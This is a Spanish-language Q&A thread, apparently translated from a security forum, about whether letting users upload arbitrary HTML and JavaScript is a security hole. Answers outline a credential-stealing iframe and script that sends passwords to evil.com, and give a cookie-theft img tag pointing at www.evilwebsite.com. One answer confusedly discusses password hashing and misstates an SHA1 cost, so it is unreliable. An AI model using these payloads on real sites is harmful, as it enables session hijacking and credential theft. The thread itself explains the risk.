Posibilidad de cargar cualquier HTML y JS es un agujero de seguridad, ¿no es así?

Depende de cómo almacene las contraseñas. Si almacena las contraseñas como texto simple, sí, es un trabajo trivial para cualquier persona con acceso de escritura a un servidor web para obtener la contraseña de texto simple. Sin embargo, si almacena las contraseñas a través de un hash unidireccional utilizando un procedimiento como sha3, se vuelve más difícil para un atacante. Tendrían que encontrar una cadena para poner en el procedimiento tal que la salida sea la misma que el hash dado. Se estimó que hacer esto con una versión anterior de sha (sha1) costaría alrededor de USD2k en la plataforma en la nube de Amazon.

Sí, este es un gran agujero de seguridad. Digamos que descubrió esto en example.com . ¿Cómo lo explotas?

1. Suba un archivo HTML que contenga un iframe con la página de inicio de sesión de example.com , y un poco de JavaScript para leer las contraseñas ingresadas y enviarlas a evil.com .
2. Envíe el enlace a una víctima inocente: "¡Solo inicie sesión en example.com para reclamar su premio gratis!" Cuando la víctima visita el sitio, se da cuenta de que todo se ve como siempre, incluso el certificado EV se revisa. Así que seguramente todo debe estar bien! Ella ingresa sus credenciales de inicio de sesión.
3. Beneficio.

Tenga en cuenta que este no es un caso de que la víctima sea crédula, ya que está en el sitio correcto y no es un espejo de phishing como eksample.com . Aún así, si no desea confiar en ninguna acción de la víctima que no sea seguir el enlace, aún podría robar fácilmente las cookies de sesión (a menos que sean solo de HTTP).

  

¿Es cierto que si un atacante tiene la posibilidad de cargar cualquier archivo .html y .js, puede obtener la contraseña de otro usuario?

¿Si los atacados pueden cargarlos en el servidor? Sí. Es trivial leer el campo de contraseña con JS. Luego codifique la contraseña como una URL para un dominio controlado por el atacante y colóquela en window.location .

si puede cargar cualquier archivo html o JavaScript y puede sobrescribir cualquier página del sitio web. (Al descargar, editar y volver a cargar cualquier archivo html), puede ejecutar cualquier código que desee. Básicamente, realizaría un ataque de escritura cruzada

Fácilmente podría escribir algo como

  

< img src="www.evilwebsite.com/+document.cookie" / >

esto roba el ID de sesión de cualquier usuario que visita la página y le permite al atacante secuestrar la sesión. Permitiéndole imitar a los usuarios comprometidos.

También podría simplemente editar cualquier formulario de inicio de sesión para enviar también los detalles de inicio de sesión al sitio web o al servicio web del atacante.